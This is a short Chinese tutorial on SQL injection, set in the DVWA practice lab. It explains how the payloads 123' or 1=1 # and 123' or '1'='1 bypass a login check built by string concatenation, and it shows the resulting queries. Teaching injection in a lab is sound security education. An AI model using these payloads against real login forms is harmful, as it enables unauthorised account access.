1. 程式人生 > >SQL 注入基礎系列2——利用 SQL 漏洞繞過登入驗證

SQL 注入基礎系列2——利用 SQL 漏洞繞過登入驗證

DVWA->SQL Injection

//後臺sql語句
select * from users where username='$name' and password='$pwd';

當查詢到資料表中存在同時滿足 username 和 password 欄位的資料時,會返回登入成功。例如,使用者名稱為admin,密碼為123時:

//實際執行語句
select * from users where username='admin' and password='123';
  • 使用註釋繞過驗證

在使用者名稱中輸入 123' or 1=1 #,密碼中同樣輸入 123' or 1=1 #

按照 Mysql 語法,# 後面的內容會被註釋掉,所以密碼也可以不填。

//示例一
SELECT first_name, last_name FROM users WHERE user_id = '123' or 1=1 #';

//示例二
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #';

select * from users where username='123' or 1=1; #' and password='123' or 1=1; #';

 

  • 不做註釋,手動閉合繞過驗證
//構造輸入 123' or '1'='1
select * from users where username='123' or '1'='1' and password='123' or '1'='1'

兩個 or 語句使 and 前後兩個判斷恆等於真,所以能夠成功登入。